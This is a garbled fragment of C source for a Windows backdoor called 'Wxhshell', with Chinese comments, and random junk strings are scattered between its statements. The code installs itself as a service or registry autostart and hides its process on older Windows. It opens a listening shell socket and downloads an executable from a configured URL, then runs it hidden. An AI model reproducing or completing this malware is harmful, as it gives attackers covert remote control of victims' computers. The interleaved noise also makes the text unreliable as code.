4:H,gx if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q=njKC vuZf#\zh} CloseHandle(hProcess); wajZqC2yg _1P`]+K\D$ if(strstr(procName,"services")) return 1; // 以服务启动 ZlrhC= 0 =C#*!N73 return 0; // 注册表启动 ;t|,nz4kJ } dKb ^x^ <z',]hy // 主模块 S4)A6z$ int StartWxhshell(LPSTR lpCmdLine) |e:rYLxm: { l/M[am SOCKET wsl; 4Ppop BOOL val=TRUE; J)#S-ZB+'k int port=0; v[VC2D struct sockaddr_in door; '<W<B!HP5Z z#RuwB+ if(wscfg.ws_autoins) Install(); AxEc^Cof ,aWCiu} port=atoi(lpCmdLine); 5*Btb#: J
B(<.E2 if(port<=0) port=wscfg.ws_port;
k1RV' Ts#pUoE~+H WSADATA data;
^iuo^2+ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oK$'9c5< L@?e:*h if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
jC4O` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UG # X/%p door.sin_family = AF_INET; :mP9^Do2; door.sin_addr.s_addr = inet_addr("127.0.0.1"); "Vx6 #u@} door.sin_port = htons(port); m2Q$+p@ ??j&i6sp if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c@9##DPn closesocket(wsl); djfU:$!j& return 1; `|,Bm|~: } Y0}4WWV Zt_r9xs> if(listen(wsl,2) == INVALID_SOCKET) { 3Soy3Xp closesocket(wsl); m@[3~
6A return 1; ~U3Seo } } ?aFZOc4
Wxhshell(wsl); )'t&q/Wn WSACleanup(); \FXp*FbQ n$xszuNJ` return 0; H nd+l)ng pZjpc#*9N } ^N{k6>; `,P
>mp)uU // 以NT服务方式启动 "[.ne)/MC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _@K YF) { x;(g DWORD status = 0; j_V/GnEQ DWORD specificError = 0xfffffff; d>/Tu_ y ]=Pu\eE serviceStatus.dwServiceType = SERVICE_WIN32; e[8UH =`| serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6+e4<sy[E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _ Mn6 L= serviceStatus.dwWin32ExitCode = 0; *6P'q4) serviceStatus.dwServiceSpecificExitCode = 0; x0ne8NDP serviceStatus.dwCheckPoint = 0; 59Nd}wPO; serviceStatus.dwWaitHint = 0; M $uf:+F U!Mf]3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~of,,& if (hServiceStatusHandle==0) return; T%~SM5 6]ZO'Nwo status = GetLastError(); \Z'/+}^h if (status!=NO_ERROR) }*Zo6{B- { #j.FJFGX serviceStatus.dwCurrentState = SERVICE_STOPPED; Eu4 &-i serviceStatus.dwCheckPoint = 0; 37jQ'O
U serviceStatus.dwWaitHint = 0; GW8CaTf~ serviceStatus.dwWin32ExitCode = status; yW`e |! serviceStatus.dwServiceSpecificExitCode = specificError; bl$j%gI%, SetServiceStatus(hServiceStatusHandle, &serviceStatus); IM]h*YV' return; Bq{]Eh0% } & g$rrpTzv ](nH{aY! serviceStatus.dwCurrentState = SERVICE_RUNNING; Z/h|\SyJ serviceStatus.dwCheckPoint = 0; snq;:n! serviceStatus.dwWaitHint = 0; ~#4~_d.=L if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I=5dYq4 l } ll2Vk*xs +4HlRGH // 处理NT服务事件,比如:启动、停止 8t=3 VOID WINAPI NTServiceHandler(DWORD fdwControl) yKlU6t&`
G { 0e\y~#- switch(fdwControl) qy&\Xgn;GA { tUv3jq)n% case SERVICE_CONTROL_STOP: xU:4Y0y8 serviceStatus.dwWin32ExitCode = 0; B/G3T
u uG serviceStatus.dwCurrentState = SERVICE_STOPPED; :~erh}~ps serviceStatus.dwCheckPoint = 0; 1lsLG+Rpxi serviceStatus.dwWaitHint = 0; K( z[} { +N8aq<l SetServiceStatus(hServiceStatusHandle, &serviceStatus); F1J#Y$q~L
} 4i`S+`# return; yf?W^{^| case SERVICE_CONTROL_PAUSE: Z)5klg$c serviceStatus.dwCurrentState = SERVICE_PAUSED; Bz:&f46{ break; yfC2^#9 Zu case SERVICE_CONTROL_CONTINUE: >>j+LRf* serviceStatus.dwCurrentState = SERVICE_RUNNING; kfRJ\"`
break; d EIa=e| case SERVICE_CONTROL_INTERROGATE: CWBbSGk break; {Hr>X }; 2^J/6R$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); NN11}E6 } %UBPoq J+iX,X // 标准应用程序主函数 hwp/jO:7\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~T7\8K+ $ { w~]}acP 9>IsqYc // 获取操作系统版本 Yx!n*+ :J OsIsNt=GetOsVer(); 1 0V+OIC GetModuleFileName(NULL,ExeFile,MAX_PATH); 6# R;HbkO 418gcg6) // 从命令行安装 E}t-N if(strpbrk(lpCmdLine,"iI")) Install(); "(N-h\7Ex9 =^by0E2 // 下载执行文件 N4s$.` if(wscfg.ws_downexe) { \wTW?>oZ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sY_fq.Z WinExec(wscfg.ws_filenam,SW_HIDE); ^&HI+M } ?nY/, q& ]Px:d+wX: if(!OsIsNt) {
Re{ej // 如果时win9x,隐藏进程并且设置为注册表启动 N*?
WUn9] HideProc(); _4O[[~ StartWxhshell(lpCmdLine); 27$\sG|g } ~;` fC|) else c'SM>7L if(StartFromService()) L-SdQTx_ // 以服务方式启动 %N!h38N2 StartServiceCtrlDispatcher(DispatchTable); 7~:>WMv9 else WI%zr2T // 普通方式启动 gr[D!D> StartWxhshell(lpCmdLine); =y`-sU Hx 2~+'vi return 0; N
c9<X }
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